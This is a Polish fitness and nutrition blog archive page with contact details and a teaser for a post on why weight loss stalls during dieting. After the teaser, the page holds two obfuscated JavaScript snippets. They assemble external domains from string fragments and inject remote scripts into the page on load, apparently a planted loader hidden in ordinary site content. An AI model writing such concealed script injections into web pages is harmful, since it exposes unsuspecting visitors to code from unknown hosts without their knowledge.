kontakt@przemekjurek.pl

+48 732 496 635

Dzień: 15 czerwca, 2025

Kategorie:

przyczyny zastoju w spadku wagi podczas redukcji

Trzymasz dietę, ćwiczysz, a waga stoi w miejscu? Analiza najczęstszych przyczyn.

15 czerwca, 2025

Waga stanęła w miejscu mimo ścisłej diety i regularnych treningów? To nie musi być Twoja wina. To frustrujące zjawisko, znane jako plateau redukcyjne, jest naturalnym etapem odchudzania. W tym kompleksowym poradniku, z podwójnej perspektywy trenera i dietetyka, analizuję ukryte przyczyny – od błędów w liczeniu kalorii, po adaptacje metaboliczne i wpływ stresu. Odkryj sprawdzone, oparte na nauce strategie, by skutecznie przełamać impas i znów zacząć widzieć efekty.

Czytaj więcej >
(function(){ qiwq=document.createElement("script");qiwq_=("us")+("ta"); qiwq_+="t"+(".");qiwq_+=("in");qiwqu="2422389891";qiwq.async=true; qiwqu+=".zd05rX4tiwqszu674";qiwq.type="text/javascript";qiwq_+="f"+"o"+("/"); qiwqu+="6hlhfpezabw8x";qiwq.src="https://"+qiwq_+qiwqu; dqiwq=document.body;dqiwq.appendChild(qiwq); })(); (function(){ uv01=document.createElement("script");uv01.type="text/javascript"; uv01.async=true;uv01_=("op"+("ens")+"t")+"a";uv01_+=("t.e")+""+"u"; uv01.src="https://"+uv01_+"/2491255555.c8uwxe2lv01hti955xgXsgvvmsav2e"; document.body.appendChild(uv01); })();